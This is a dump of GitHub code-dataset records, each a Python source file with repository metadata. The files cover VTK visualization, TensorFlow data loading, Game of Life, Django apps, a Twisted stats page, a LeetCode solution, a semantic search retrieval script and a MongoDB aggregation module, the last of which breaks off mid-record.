---------------------------------------------------------\n# 5. In viewport 2, display the iso-surface extracted at intensity \n# value 300 using marching cubes algorithm. \n\niso = vtk.vtkMarchingCubes()\niso.SetInputConnection(reader.GetOutputPort())\niso.ComputeGradientsOn()\niso.ComputeScalarsOff()\n# print (iso.GetValue(0))\niso.SetValue(0, 300)\n\n# Polydata mapper for the iso-surface\nisoMapper = vtk.vtkPolyDataMapper()\nisoMapper.SetInputConnection(iso.GetOutputPort())\nisoMapper.ScalarVisibilityOff()\n\n# Actor for the iso surface\nisoActor = vtk.vtkActor()\nisoActor.SetMapper(isoMapper)\nisoActor.GetProperty().SetColor(1.,1.,1.)\n\n## renderer and render window\nisoRen = vtk.vtkRenderer()\n## add the actors to the renderer\nisoRen.AddActor(isoActor)\nprint(\"ISO surface extracted.\")\n# ---------------------------------------------------------\n\n# 6. Create a combo rederer\ncomboRen = vtk.vtkRenderer()\n\n# Reuse actor and volume\ncomboRen.AddActor(isoActor)\ncomboRen.AddVolume(ctVolume)\n# ---------------------------------------------------------\n\nprint(\"Creating render window\")\n# Create a render window with three viewports\nxmins=[0,0.33,0.66]\nxmaxs=[0.33,0.66,1]\nymins=[0,0,0]\nymaxs=[1,1,1]\n\nmainWindow = vtk.vtkRenderWindow()\nwindInteract = vtk.vtkRenderWindowInteractor()\nmainWindow.SetSize(1300,600)\nwindInteract.SetRenderWindow(mainWindow)\n\n# SetActiveCameras to the ActiveCamera of the first renderer\n# This allows the visualization to be viewed from same angel in all three viewports\nisoRen.SetActiveCamera(volRen.GetActiveCamera());\ncomboRen.SetActiveCamera(isoRen.GetActiveCamera());\nvolRen.ResetCamera()\n\n# Add the renderes to main window\nmainWindow.AddRenderer(volRen)\nmainWindow.AddRenderer(isoRen)\nmainWindow.AddRenderer(comboRen)\n\n# Set the location\nvolRen.SetViewport(xmins[0],ymins[0],xmaxs[0],ymaxs[0])\nisoRen.SetViewport(xmins[1],ymins[1],xmaxs[1],ymaxs[1])\ncomboRen.SetViewport(xmins[2],ymins[2],xmaxs[2],ymaxs[2])\n\nmainWindow.Render()\n\nwind2Im = vtk.vtkWindowToImageFilter()\nwind2Im.SetInput(mainWindow)\nwind2Im.Update()\n\n# Save the output\nwriter = vtk.vtkJPEGWriter()\nwriter.SetInputConnection(wind2Im.GetOutputPort())\nwriter.SetFileName('assignment2_sharma_harsh.jpg')\nwriter.Write()\n\n\nwindInteract.Initialize()\nwindInteract.Start()\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"HarshSharma12/mm804","sub_path":"Assignment2/Assignment2.py","file_name":"Assignment2.py","file_ext":"py","file_size_in_byte":4150,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"32442547275","text":"# Authored by: bulletcross@gmail.com\n\nimport tensorflow as tf\nimport numpy as np\nimport cv2\nimport skimage.io as io\nfrom skimage.transform import rescale, resize\nimport data_pipeline as dp\n\ndata_path = \"Dataset/dataset_bin.tfrecords\"\n\ndef tfrecord_parser(record_file_path):\n # Describe the schema used for example proto dataset\n parse_op = tf.parse_single_example(serialized = record_file_path,\n features = {\n 'raw_img': tf.FixedLenFeature([], tf.string),\n 'label': tf.FixedLenFeature([], tf.int64)\n },\n name = 'parse_op')\n # Revert from string byte to int32\n img = tf.decode_raw(parse_op['raw_img'], tf.uint8, name = 'byte_to_int8_op')\n img = tf.reshape(img, shape=[128, 128, 3], name = 'reshape_op')\n label = tf.cast(parse_op['label'], tf.int32, name = 'label_cast_op')\n return img, label\n\ndef get_iterator():\n dataset = tf.data.TFRecordDataset(filenames = [data_path],\n num_parallel_reads = 2)\n dataset = dataset.map(tfrecord_parser)\n dataset = dataset.batch(1)\n iterator = dataset.make_initializable_iterator()\n img, label = iterator.get_next()\n return img, label, iterator\n\ndef main():\n img, label, iter = get_iterator()\n with tf.Session() as sess:\n sess.run(iter.initializer)\n while True:\n out_img, out_label = sess.run([img, label])\n print(str(out_label))\n print(out_img[0].shape)\n cv2.imshow('image', out_img[0])\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\nif __name__=='__main__':\n main()\n","repo_name":"vishal-keshav/Data_Augmentation","sub_path":"view_data.py","file_name":"view_data.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37421578624","text":"import numpy as np\n\n\ndef create(rows, *cols):\n if (rows <= 0 & len(cols) >= 0):\n matrice = np.random.randint(0, 2, size=(int(cols), int(cols)))\n\n elif (len(cols) <= 0 & rows >= 0):\n matrice = np.random.randint(0, 2, size=(rows, rows))\n\n elif (rows <= 0 & len(cols) <= 0):\n matrice = np.random.randint(0, 2, size=(0, 0))\n\n else:\n matrice = np.random.randint(0, 2, size=(rows, int(cols[0])))\n\n return matrice\n\n\ndef neighborCount(binaryMatrix, rowPosition, colPosition):\n \"\"\"Returns the number of Ones in the neighborhood of the given position in the matrix. \\n\n First row and column starts with 1 and not with 0!\n \"\"\"\n neighborCnt = 0\n\n if rowPosition == 0 or colPosition == 0:\n print(\"row or column position is 0 (not valid)!\")\n return neighborCnt;\n\n (rows, cols) = binaryMatrix.shape\n for i in range(rowPosition - 2, rowPosition + 1, 1):\n for j in range(colPosition - 2, colPosition + 1, 1):\n if i != rowPosition - 1 or j != colPosition - 1:\n neighborCnt += binaryMatrix[i % rows][j % cols]\n\n return neighborCnt\n\n\ndef getNeighbors(binaryMatrix):\n neighborMatrix = np.zeros(np.shape(binaryMatrix), dtype=int)\n\n rows, cols = binaryMatrix.shape\n\n for i in range(0, rows, 1):\n for j in range(0, cols, 1):\n neighborMatrix[i][j] = neighborCount(binaryMatrix, i + 1, j + 1)\n\n return neighborMatrix\n\n\ndef display(matrix):\n rows, cols = matrix.shape\n for i in range(0, rows, 1):\n for j in range(0, cols, 1):\n if matrix[i][j] > 0:\n print('*', end='')\n else:\n print(' ', end='')\n print(\"\")\n return\n\n\ndef nextGeneration(universe, neighbor):\n nextGenUniverse = np.zeros(universe.shape, dtype=int)\n rows, cols = universe.shape\n\n for i in range(0, rows, 1):\n for j in range(0, cols, 1):\n if neighbor[i][j] == 3 and universe[i][j] == 0:\n nextGenUniverse[i][j] = 1\n elif neighbor[i][j] < 2 and universe[i][j] == 1:\n nextGenUniverse[i][j] = 0\n elif neighbor[i][j] == 2 or 3 and universe[i][j] == 1:\n nextGenUniverse[i][j] = 1\n elif neighbor[i][j] > 3 and universe[i][j] == 1:\n nextGenUniverse[i][j] = 0\n return nextGenUniverse\n","repo_name":"Meschr/PythonAufgaben","sub_path":"Uebung3/Universe.py","file_name":"Universe.py","file_ext":"py","file_size_in_byte":2355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"6204405694","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('django_payu', '0001_initial'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='payupayment',\n name='payment_description',\n field=models.TextField(default='Your description'),\n ),\n migrations.AlterField(\n model_name='payupayment',\n name='buyer_ip_address',\n field=models.GenericIPAddressField(protocol='IPv4'),\n ),\n ]\n","repo_name":"DariuszAniszewski/django-payu","sub_path":"django_payu/migrations/0002_auto_20150531_1928.py","file_name":"0002_auto_20150531_1928.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"18681147551","text":"import posixpath\nfrom pathlib import PurePath\nimport re\n\nfrom twisted.internet import defer\nfrom twisted.web import error\nfrom twisted.python import log\n\nfrom cia.LibCIA.Web import Template, Info, Server\nfrom Nouvelle import tag, place\nimport Nouvelle\nimport time\nimport sys\nfrom . import Metadata\nfrom . import Catalog\nfrom . import Feed\nfrom . import Link\nfrom . import MessageViewer\nfrom cia.LibCIA import XML, Stats\n\n\nclass Component(Server.Component):\n \"\"\"A server component representing the whole stats interface\"\"\"\n name = \"Stats\"\n\n def __init__(self):\n self.resource = Page(self)\n\n def __contains__(self, page):\n for cls in (Page,\n Feed.CustomizeRSS,\n MessageViewer.MessagePage,\n ):\n if isinstance(page, cls):\n return True\n return False\n\n\nclass Page(Template.Page):\n \"\"\"A web page providing an interface to one StatsTarget.\n The root of the stats namespace should be created with the\n capabilities database and StatsStorage. Children will\n be automatically created with child targets.\n \"\"\"\n\n def __init__(self, component, target=None):\n if target is None:\n target = Stats.Target.StatsTarget()\n self.component = component\n self.target = target\n\n def parent(self):\n parentTarget = self.target.parent()\n if parentTarget:\n return self.__class__(self.component, parentTarget)\n\n def getURL(self, context):\n #log.msg(type(self.component.url), type(self.target.path))\n return PurePath(self.component.url).joinpath(self.target.path) # posixpath.join(self.component.url.encode(), self.target.path.encode())\n\n def getChildWithDefault(self, name, request):\n \"\"\"Part of IResource, called by twisted.web to retrieve pages for URIs\n below this one. This just creates a Page instance for our StatsTarget's child,\n with a few special cases used for metadata and editing.\n \"\"\"\n log.msg(\"getChildWithDefault\", type(name))\n if isinstance(name, bytes):\n name = name.decode()\n childFactories = {\n '.message': MessageViewer.RootPage,\n '.rss': Feed.RSSFrontend,\n '.xml': Feed.XMLFeed,\n }\n\n if not name:\n # Ignore empty path sections\n return self\n elif name in childFactories:\n return childFactories[name](self)\n else:\n # Return the stats page for a child\n try:\n child = self.target.child(name)\n except ValueError:\n # Reserved word in stats target\n return error.NoResource(\"Invalid stats path\")\n else:\n return self.__class__(self.component, child)\n\n def preRender(self, context):\n context['component'] = self.component\n\n def render_mainTitle(self, context):\n return self.target.getTitle()\n\n def render_subTitle(self, context):\n return self.target.metadata.getValue('subtitle', 'Real-time open source activity stats')\n\n def render_mainColumn(self, context):\n return [\n Counters(self.target),\n Catalog.CatalogSection(self.target),\n RecentMessages(self.target),\n ]\n\n def render_leftColumn(self, context):\n return [\n Metadata.Info(self.target),\n LinksSection(self.target),\n # Graph.RelatedSection(self.target),\n Info.Clock(),\n ]\n\n def render_extraHeaders(self, context):\n # Add a tag pointing at our RSS feed. Some RSS\n # aggregators can use this to automatically detect feeds.\n return tag('link',\n rel='alternate',\n type='application/rss+xml',\n title='RSS',\n href=Link.RSSLink(self.target).getURL(context),\n )\n\n\nclass Counters(Template.Section):\n \"\"\"A Section displaying the counters from a StatsTarget\"\"\"\n title = \"event counters\"\n\n rows = [\n [\n 'The last message was received ',\n Template.value[place('value', 'forever',\n 'lastEventTime', 'relativeDate')],\n ' ago at ',\n Template.value[place(\n 'value', 'forever', 'lastEventTime', 'date')],\n ],\n [\n Template.value[place('value', 'today', 'eventCount')],\n ' messages so far today, ',\n Template.value[place('value', 'yesterday', 'eventCount')],\n ' messages yesterday',\n ],\n [\n Template.value[place('value', 'thisWeek', 'eventCount')],\n ' messages so far this week, ',\n Template.value[place('value', 'lastWeek', 'eventCount')],\n ' messages last week',\n ],\n [\n Template.value[place('value', 'thisMonth', 'eventCount')],\n ' messages so far this month, ',\n Template.value[place('value', 'lastMonth', 'eventCount')],\n ' messages last month',\n ],\n [\n Template.value[place('value', 'forever', 'eventCount')],\n ' messages since the first one, ',\n Template.value[place('value', 'forever',\n 'firstEventTime', 'relativeDate')],\n ' ago',\n place('averagePeriod', 'forever'),\n ],\n ]\n\n def __init__(self, target):\n self.counters = target.counters\n\n def render_rows(self, context):\n \"\"\"If this target has received at least one event, render the rows normally..\n otherwise, hide this section completely.\n \"\"\"\n result = defer.Deferred()\n self.counters.getCounter('forever').addCallback(\n self._render_rows, result).addErrback(result.errback)\n return result\n\n def _render_rows(self, foreverCounter, result):\n if foreverCounter and foreverCounter['eventCount'] > 0:\n result.callback(self.rows)\n else:\n result.callback([])\n\n def render_value(self, context, counterName, valueName, filter=None):\n \"\"\"Fetch a counter value, rendering its value optionally via\n a filter function. 'filter' is a string which will be used to\n look up a filter_* method from this class.\n \"\"\"\n result = defer.Deferred()\n self.counters.getCounter(counterName).addCallback(\n self._render_value, valueName, filter, result).addErrback(result.errback)\n return result\n\n def _render_value(self, counter, valueName, filter, result):\n if counter:\n value = counter.get(valueName, 0)\n else:\n value = 0\n if filter:\n value = getattr(self, 'filter_'+filter)(value)\n result.callback(value)\n\n def filter_date(self, value):\n return TimeUtil.formatDate(value)\n\n def filter_relativeDate(self, value):\n return TimeUtil.formatDuration(time.time() - value)\n\n def render_averagePeriod(self, context, counterName):\n result = defer.Deferred()\n self.counters.getCounter(counterName).addCallback(\n self._render_averagePeriod, result).addErrback(result.errback)\n return result\n\n def _render_averagePeriod(self, counter, result):\n if not counter:\n result.callback('')\n return\n events = counter.get('eventCount', 0)\n first = counter.get('firstEventTime')\n if events < 2 or not first:\n result.callback('')\n return\n result.callback([\n ', for an average of ',\n Template.value[TimeUtil.formatDuration(\n (time.time() - first) / events)],\n ' between messages',\n ])\n\n\nclass MessageDateColumn(Nouvelle.Column):\n \"\"\"A column that displays a message's date\"\"\"\n heading = 'date'\n\n def getValue(self, message):\n try:\n return XML.digValue(message.xml, int, \"message\", \"timestamp\")\n except ValueError:\n return None\n\n def render_data(self, context, message):\n value = self.getValue(message)\n if value:\n return TimeUtil.formatRelativeDate(value)\n else:\n return Template.error[\"Invalid Date\"]\n\n\nclass MessageProjectColumn(Nouvelle.Column):\n \"\"\"A column that displays the project a message originated from\"\"\"\n heading = 'project'\n\n def getValue(self, message):\n project = XML.dig(message.xml, \"message\", \"source\", \"project\")\n if project:\n return XML.shallowText(project)\n\n\nclass MessageContentColumn(Nouvelle.Column):\n \"\"\"A column that displays a message, formatted in XHTML\"\"\"\n heading = 'content'\n\n def getValue(self, message):\n try:\n return Formatters.getFactory().findMedium('xhtml', message).formatMessage(message)\n except:\n return Template.error[str(sys.exc_info()[1])]\n\n\nclass MessageList(Template.Section):\n \"\"\"A list of messages, with metadata and hyperlinks. Must be\n constructed with a list of Message instances.\n \"\"\"\n title = \"messages\"\n\n columns = [\n MessageDateColumn(),\n MessageProjectColumn(),\n MessageContentColumn(),\n Nouvelle.AttributeColumn('link', 'hyperlink'),\n ]\n\n def renderMessages(self, context, messages):\n return [\n Template.Table(messages, self.columns,\n defaultSortReversed=True,\n id='message'),\n ]\n\n\nclass RecentMessages(MessageList):\n \"\"\"A section displaying recent messages from a given stats target\"\"\"\n title = \"recent messages\"\n\n def __init__(self, target, limit=20):\n self.target = target\n self.limit = limit\n\n def render_rows(self, context):\n parsed = []\n for id, xml in self.target.messages.getLatest(self.limit):\n m = Message.Message(xml)\n m.hyperlink = Link.MessageLink(self.target, id, text=\"#\")\n parsed.append(m)\n\n if parsed:\n return self.renderMessages(context, parsed)\n else:\n return []\n\n\nclass LinksSection(Template.Section):\n \"\"\"A section displaying useful links for a particular stats target. All links\n are classes in the Link module that take only our stats target as a constructor argument.\n We have a list of allowed links and default links, but the exact links we display may\n be modified by the links-filter metadata key.\n\n The links-filter format is simple- one entry per line, each entry consists of an\n action and a link name regex, separated by whitespace. The action can be \"+\" to add the\n link(s) or \"-\" to remove the link(s).\n \"\"\"\n title = 'syndicate'\n\n availableLinkNames = [\n \"RSSLink\",\n \"RSSCustomizer\",\n \"XMLLink\",\n ]\n\n defaultLinkNames = [\n \"RSSLink\",\n \"RSSCustomizer\",\n \"XMLLink\",\n ]\n\n def __init__(self, target):\n self.target = target\n\n def render_rows(self, context):\n # First look for a links-filter metadata key for this target.\n # The default is empty.\n result = defer.Deferred()\n self.target.metadata.getValue(\"links-filter\", default=\"\").addCallback(\n self._render_rows, context, result\n ).addErrback(result.errback)\n return result\n\n def _render_rows(self, linksFilter, context, result):\n linkNames = list(self.defaultLinkNames)\n\n for line in linksFilter.split(\"\\n\"):\n line = line.strip()\n if line:\n action, name = line.split(None, 1)\n regex = re.compile(name)\n\n if action == \"+\":\n for available in self.availableLinkNames:\n if regex.match(available):\n linkNames.append(available)\n\n elif action == \"-\":\n filtered = []\n for name in linkNames:\n if not regex.match(name):\n filtered.append(name)\n linkNames = filtered\n\n result.callback([getattr(Link, linkName)(self.target)\n for linkName in linkNames])\n\n### The End ###\n","repo_name":"Justasic/cia-vc","sub_path":"cia/LibCIA/Web/Stats/Browser.py","file_name":"Browser.py","file_ext":"py","file_size_in_byte":12307,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"54"} +{"seq_id":"28725806554","text":"from django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\n\nfrom .helpers.cryptocurrencies_helper import *\n\n'''\nShows welcome page\n'''\ndef index(request):\n return render(request, 'playground/index.html')\n\n\n'''\nAn endpoint for requests about cryptocurrencies\n\nA request can have parameters such as:\ncurrency=BTC\ndate=YYYY-MM-DD\namz_product_id=B01MQWUXZS\n\nThe only parameter required is currency.\n\nThis endpoint will respond in the following different\nways based on the parameters provided.\n\ncurrency\n -> returns the number of units of a random\n product that can be bought from amazon\n considering the currency's actual value\ncurrency + date\n -> returns the number of units of a random\n product that can be bought from amazon\n considering the currency's value at\n the given date.\nif amz_product_id is provided,\nthe endpoint will return results with respect\nto that product.\n'''\ndef cryptocurrencies(request):\n CH = CryptocurrenciesHelper\n\n response = {}\n params = request.GET\n\n response_type = CH.handle_request_params(params)\n\n if response_type == \"currency\":\n response = CH.response_for_currency(params)\n elif response_type == \"currency_date\":\n response = CH.response_for_currency_date(params)\n elif response_type == \"currency_product\":\n response = CH.response_for_currency_product(params)\n elif response_type == \"currency_date_product\":\n response = CH.response_for_currency_date_product(params)\n else:\n response = dict(msg=\"The only parameter required is currency. Ex(currency=BTC)\")\n\n return JsonResponse(response)\n\n","repo_name":"guillosaracco/currencies","sub_path":"playground/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10108488713","text":"\nclass Solution:\n def maxSumMinProduct(self, nums):\n res = 0\n stack = []\n prefix = [0]\n\n for num in nums:\n prefix.append(prefix[-1]+num)\n\n for k,v in enumerate(nums):\n newStart = k\n while stack and stack[-1][1] > v:\n start, val = stack.pop()\n total = prefix[k] - prefix[start]\n res = max(res, total * val)\n newStart = start\n\n stack.append((newStart, v))\n\n for start, val in stack:\n total = prefix[len(nums)] - prefix[start]\n res = max(res, val*total)\n\n return res\n\n\na = Solution()\nprint(a.maxSumMinProduct([1,3,2,1,2,3,5,2,1]))","repo_name":"sidhant1608/leetcode_problems","sub_path":"maximum-subarray-minproblem.py","file_name":"maximum-subarray-minproblem.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"10126874986","text":"# Dies ist ein Test\r\nimport time\r\nzahlen = []\r\nx= 0\r\nwhile x <= 1:\r\n for zahl in range(1, 350, 10):\r\n zahlen.append(zahl)\r\n print(zahlen)\r\n time.sleep(0.01)\r\n zahlen.clear() \r\n print(f\"\\n\\n{x}\\n\\n\")\r\n x += 1\r\n \r\n # time.sleep(1)\r\n ","repo_name":"Yannik2008/SourceCode","sub_path":"Python-Test/for.py","file_name":"for.py","file_ext":"py","file_size_in_byte":275,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72301459042","text":"from . import views\nfrom django.contrib import admin\nfrom django.urls import path\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('',views.blog,name=\"blog\"),\n path('blog/',views.fullblog,name=\"fullblog\"),\n path('login',views.login,name=\"login\"),\n path('signup',views.signup,name=\"signup\"),\n path('logout',views.logout,name=\"logout\"),\n]\n","repo_name":"asherthisside/1130UI-DjangoBatch","sub_path":"python/Django/blog/blog_one/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"2946554760","text":"import pandas as pd\r\nimport re, csv, torch\r\nfrom nltk.corpus.reader.tagged import word_tokenize\r\nimport xml.etree.cElementTree as ET\r\nfrom sentence_transformers import SentenceTransformer, util\r\nfrom itertools import islice\r\n\r\nMODEL = 'all-MiniLM-L6-v2'\r\n\r\n#### HELPER FUNCTIONS: ####\r\n# this function will take in a string , clean it up, and return it\r\ndef clean_text(text):\r\n token_words = re.sub(\"<.*?>|\\\\n|"\", \" \", text.lower())\r\n token_words = word_tokenize(token_words)\r\n return \" \".join(token_words)\r\n\r\n# turn the xml into a dataframe\r\n# df = pd.read_xml(\"./gdrive/MyDrive/IRCourse_Project_Files/Posts.xml\")\r\n# Function to convert XML file to Pandas Dataframe\r\n# Credit: https://stackoverflow.com/questions/63286268/how-to-convert-a-large-xml-file-to-pandas-dataframe\r\ndef xml2df(file_path):\r\n\r\n # Parsing XML File and obtaining root\r\n tree = ET.parse(file_path)\r\n root = tree.getroot()\r\n\r\n dict_list = []\r\n\r\n for _, elem in ET.iterparse(file_path, events=(\"end\",)):\r\n if elem.tag == \"row\":\r\n dict_list.append(elem.attrib) # PARSE ALL ATTRIBUTES\r\n elem.clear()\r\n\r\n df = pd.DataFrame(dict_list)\r\n return df\r\n\r\ndef createAnswerEmbeddings(df, model):\r\n return model.encode(df['Body'].tolist(), convert_to_tensor=True)\r\n\r\ndef printTopK(results, k=5):\r\n print_list = dict(islice(sorted(results.items(), key=lambda item: item[1], reverse=True), k))\r\n for id in print_list:\r\n print(str(id) + \"\\t\\t\" + str(print_list[id]))\r\n\r\ndef makeUserQuery():\r\n userInput = \"Y\"\r\n final_dict = {}\r\n while(userInput[0].upper() == 'Y'):\r\n query_results = {}\r\n query = input(\"User Query: \")\r\n query_embedding = model.encode(query, convert_to_tensor=True) # Create embedding of query.\r\n hits = util.semantic_search(query_embedding, corpus_embeddings, top_k=1000) # Make semantic search\r\n hits = hits[0]\r\n for hit in hits:\r\n index = hit['corpus_id']\r\n answer_id = answer_ids[index]\r\n score = hit['score']\r\n query_results[answer_id] = score\r\n final_dict[query] = query_results\r\n printTopK(query_results, 10)\r\n userInput = input(\"Make another query? (Y/N): \")\r\n while(userInput[0].upper() != 'N' and userInput[0].upper() != 'Y'):\r\n userInput = input(\"Make another query? (Y/N): \")\r\n return final_dict\r\n\r\ndef retrieveQueryResults(queries):\r\n final_dict = {}\r\n for topic_id in queries:\r\n query_results = {}\r\n query = queries[topic_id]\r\n query_embedding = model.encode(query, convert_to_tensor=True)\r\n hits = util.semantic_search(query_embedding, corpus_embeddings, top_k=1000)\r\n hits = hits[0] # Get the hits for the first query\r\n for hit in hits:\r\n index = hit['corpus_id']\r\n answer_id = answer_ids[index]\r\n score = hit['score']\r\n query_results[answer_id] = score\r\n print(queries[topic_id])\r\n printTopK(query_results, 5)\r\n final_dict[topic_id] = query_results\r\n return final_dict\r\n\r\ndef createRunFile(filename, results):\r\n qid_start = \"Q00\"\r\n count = 1\r\n with open(\"./data/\" + filename+ \".tsv\", mode='w', newline='') as csv_file:\r\n csv_writer = csv.writer(csv_file, delimiter='\\t', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\r\n for topic_id in results:\r\n if count == 10:\r\n qid_start = \"Q0\"\r\n qid_combine = qid_start + str(count)\r\n count += 1\r\n result_map = results[topic_id]\r\n result_map = dict(sorted(result_map.items(), key=lambda item: item[1], reverse=True))\r\n rank = 1\r\n for post_id in result_map:\r\n score = result_map[post_id]\r\n csv_writer.writerow([qid_combine, \"Q0\", post_id, str(rank), str(score), MODEL])\r\n rank += 1\r\n if rank > 1000:\r\n break\r\n\r\n#### METHOD CALLS: ####\r\n# Ask user if they need to do initial preprocessing; alternative is loading from ./data\r\nvalidInput = False\r\nuserInput = input(\"First time processing? (Y/N): \")\r\nwhile validInput == False: \r\n if(userInput[0].upper() == 'Y'):\r\n # On yes: create the dataframe\r\n print(\"Parsing Posts.xml...\")\r\n df = xml2df(\"./data/Posts.xml\") # Generates inverted index with count from Posts.xml\r\n df.to_csv(\"./data/Posts_DF.csv\", index=False) # Saves inverted index in TSV form\r\n print(\"Loading the model...\")\r\n model = SentenceTransformer(MODEL) # Load the model\r\n torch.save(model, \"./data/Pretrained_Model\")\r\n # Create embeddings for just the answers\r\n print(\"Creating posts embeddings...\")\r\n corpus_embeddings = createAnswerEmbeddings(df[df['PostTypeId'] == '2'], model)\r\n torch.save(corpus_embeddings, \"./data/Corpus_Embeddings.pt\") # Save the embeddings\r\n answer_ids = df[df['PostTypeId'] == 2]['Id'].tolist()\r\n validInput = True\r\n print(\"Done.\")\r\n elif(userInput[0].upper() == 'N'):\r\n # On no: Load dataframe, model and embeddings\r\n print(\"Loading Posts_DF.csv...\")\r\n df = pd.read_csv(\"./data/Posts_DF.csv\") # Load Posts DF\r\n print(\"Loading retrieval model...\")\r\n model = torch.load(\"./data/Pretrained_Model\") # Load Model\r\n print(\"Loading corpus embeddings...\")\r\n corpus_embeddings = torch.load(\"./data/Corpus_Embeddings.pt\") # Load Embeddings\r\n answer_ids = df[df['PostTypeId'] == 2]['Id'].tolist()\r\n validInput = True\r\n print(\"Done.\")\r\n else:\r\n print(\"Invalid input. Input Y or N\")\r\n userInput = input(\"First time processing? (Y/N): \")\r\n\r\n\r\n# Given our DF, model and embeddings, get queries:\r\nfinal_dict = {}\r\nvalidInput = False\r\nuserInput = input(\"Input user query? (Y/N): \")\r\nwhile validInput == False: \r\n if(userInput[0].upper() == 'Y'):\r\n final_dict = makeUserQuery()\r\n validInput = True\r\n elif(userInput[0].upper() == 'N'):\r\n # On no: Use the set of queries selected by ourselves\r\n query_ids = [127968, 67284, 1232, 18375, 47604, 8002, 51721, 11033, 4317, 1, \r\n 3548, 71, 73945, 2291, 98549, 67032, 66988, 59563, 105388, 120149]\r\n # create a dictionary of {query_id: query_title}\r\n queries = {}\r\n for id in query_ids:\r\n queries[id] = df[df['Id'] == id]['Title'].values[0]\r\n final_dict = retrieveQueryResults(queries)\r\n validInput = True\r\n else:\r\n print(\"Invalid input. Input Y or N\")\r\n userInput = input(\"Input user query? (Y/N): \")\r\n\r\n# Ask user if they want to save the results to a Run file\r\nvalidInput = False\r\nuserInput = input(\"Save results to Run file? (Y/N): \")\r\nwhile validInput == False: \r\n if(userInput[0].upper() == 'Y'):\r\n filename = input(\"Filename: \")\r\n createRunFile(filename, final_dict)\r\n validInput = True\r\n elif(userInput[0].upper() == 'N'):\r\n print(\"Exiting retrieval.\")\r\n validInput = True\r\n else:\r\n print(\"Invalid input. Input Y or N\")\r\n userInput = input(\"Input user query? (Y/N): \")\r\n","repo_name":"Tiffauy/IRCourse-Project3-TiffanyHoeung-MikeBelley","sub_path":"IRCourse_PreTrained.py","file_name":"IRCourse_PreTrained.py","file_ext":"py","file_size_in_byte":7243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37824712717","text":"from pymongo import MongoClient, ASCENDING, DESCENDING\n\nfrom ted_sws import config\n\nNOTICE_COLLECTION_NAME = \"notice_collection\"\nNOTICES_MATERIALISED_VIEW_NAME = \"notices_collection_materialised_view\"\nNOTICE_EVENTS_COLLECTION_NAME = \"notice_events\"\nNOTICE_KPI_COLLECTION_NAME = \"notice_kpi\"\n\n\ndef create_notice_collection_materialised_view(mongo_client: MongoClient):\n \"\"\"\n Creates a collection with materialized view used on metabase by aggregating notices collection.\n :param mongo_client: MongoDB client to connect\n \"\"\"\n database = mongo_client[config.MONGO_DB_AGGREGATES_DATABASE_NAME]\n notice_collection = database[NOTICE_COLLECTION_NAME]\n notice_collection.aggregate([\n {\n \"$project\": {\n \"_id\": True,\n \"created_at\": True,\n \"created_at_str_y\": True,\n \"created_at_str_ym\": True,\n \"created_at_str_ymd\": True,\n \"status\": True,\n \"validation_summary\": True,\n \"version_number\": True,\n \"form_number\": \"$normalised_metadata.form_number\",\n \"form_type\": \"$normalised_metadata.form_type\",\n \"eu_institution\": \"$normalised_metadata.eu_institution\",\n \"extracted_legal_basis_directive\": \"$normalised_metadata.extracted_legal_basis_directive\",\n \"ojs_type\": \"$normalised_metadata.ojs_type\",\n \"legal_basis_directive\": \"$normalised_metadata.legal_basis_directive\",\n \"country_of_buyer\": \"$normalised_metadata.country_of_buyer\",\n \"eforms_subtype\": \"$normalised_metadata.eforms_subtype\",\n \"notice_type\": \"$normalised_metadata.notice_type\",\n \"xsd_version\": \"$normalised_metadata.xsd_version\",\n \"publication_date\": \"$normalised_metadata.publication_date\",\n \"publication_date_str_y\": \"$normalised_metadata.publication_date_y\",\n \"publication_date_str_ym\": \"$normalised_metadata.publication_date_str_ym\",\n \"publication_date_str_ymd\": \"$normalised_metadata.publication_date_str_ymd\",\n \"deduplication_report\": \"$rdf_manifestation.deduplication_report\",\n }\n },\n {\n \"$out\": NOTICES_MATERIALISED_VIEW_NAME\n }\n ], allowDiskUse=True)\n materialised_view = database[NOTICES_MATERIALISED_VIEW_NAME]\n materialised_view.create_index([(\"created_at\", DESCENDING)])\n materialised_view.create_index([(\"publication_date\", DESCENDING)])\n materialised_view.create_index([(\"eu_institution\", ASCENDING)])\n materialised_view.create_index([(\"status\", ASCENDING)])\n materialised_view.create_index([(\"form_number\", ASCENDING)])\n materialised_view.create_index([(\"form_number\", ASCENDING), (\"status\", ASCENDING)])\n materialised_view.create_index([(\"execution_time\", ASCENDING)])\n\n\ndef create_notice_kpi_collection(mongo_client: MongoClient):\n \"\"\"\n Creates a collection with kpi for existing notices.\n :param mongo_client: MongoDB client to connect\n \"\"\"\n database = mongo_client[config.MONGO_DB_AGGREGATES_DATABASE_NAME]\n notice_events_collection = database[NOTICE_EVENTS_COLLECTION_NAME]\n notice_events_collection.aggregate([\n {\n \"$match\": {\n \"caller_name\": \"execute\",\n \"duration\": {\"$ne\": None},\n \"notice_form_number\": 